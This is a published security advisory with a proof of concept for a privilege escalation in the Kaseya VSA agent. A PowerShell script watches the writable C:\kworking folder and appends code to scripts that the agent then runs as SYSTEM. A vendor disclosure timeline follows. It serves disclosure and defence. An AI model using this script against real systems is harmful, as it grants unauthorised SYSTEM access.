# Exploit Title: Kaseya VSA agent <= 9.5 privilege escalation  
# Google Dork: N/A  
# Date: 2-09-2019  
# Exploit Author: NF  
# Vendor Homepage:  
# Software Link:  
# Version: <= 9.5 agentmon.exe  
# Tested on: Windows 10  
# CVE : N/A  
This is not a new issue as such but more of the same in line with <a href="">CVE-2017-12410</a> found by Filip Palian.  
A a fix was put in place for the original CVE, however it was specific to binaries and not scripts.  
The root cause for both issues is allowing a low privileged group excessive permissions to a folder used by a elevated process.  
The Kaseya agent (agentmon.exe) runs as SYSTEM by default.  
The agent also has a default working folder @ C:\kworking\  
It will pull scripts and binaries to this folder and execute them from disk from the controlling web application.  
By default the *Authenticated Users* group has all rights to this folder.  
Scripts are written to disk however they are not checked for integrity prior to execution.  
So a folder can be monitored for script files being dropped and then append malicious code prior to execution.  
##Proof of concept##  
This PowerShell script will monitor the default working directory.  
When a ps1 script drops from a scheduled task or run from the VSA web application it will then append the command "Write-Host 'injected content'" which will run as SYSTEM.  
Change the Write-Host command to the code to be executed or update the script to target other script drops such as vb script.  
Note: To test you will need to sign up for a trial with VSA to have the ability to deploy an agent & schedule/run scripts  
<--script start-->  
$folder = 'c:\kworking'  
$filter = '*.ps1'   
$filesystem = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $false;NotifyFilter = [IO.NotifyFilters]'FileName, LastWrite'}  
Register-ObjectEvent $filesystem Created -SourceIdentifier FileCreated -Action {  
$path = $Event.SourceEventArgs.FullPath  
"`nWrite-Host 'injected content'" | Out-File -Append -FilePath $path -Encoding utf8  
Unregister-Event FileCreated  
<--script end-->  
16-06-2019 :: Issue found  
18-06-2019 :: security@ emailed requesting steps to disclose   
30-06-2019 :: CERT contacted due to non response of vendor from official email address  
31-06-2019 :: CERT still unable to contact vendor  
07-07-2019 :: CERT makes contact with vendor. Discover security@ address is not monitored by vendor  
20-08-2019 :: Vendor confirms receipt of details  
27-08-2019 :: Email sent indicating intention to disclose due to lack of response  
02-09-2019 :: No response through CERT. Findings published